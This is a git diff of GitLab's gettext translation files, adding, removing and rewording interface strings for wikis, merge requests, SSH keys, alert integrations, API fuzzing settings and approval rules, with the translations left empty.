@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index 0f3d3769df2..9bda94a1943 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:49\n"
+"PO-Revision-Date: 2021-04-02 00:08\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -333,6 +341,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr ""
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -985,6 +995,9 @@ msgstr[0] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1219,9 +1256,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1231,13 +1265,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1682,6 +1724,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1757,6 +1802,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1814,6 +1859,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1832,6 +1880,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -1925,6 +1976,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3240,6 +3336,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3345,7 +3441,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -3923,6 +4028,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
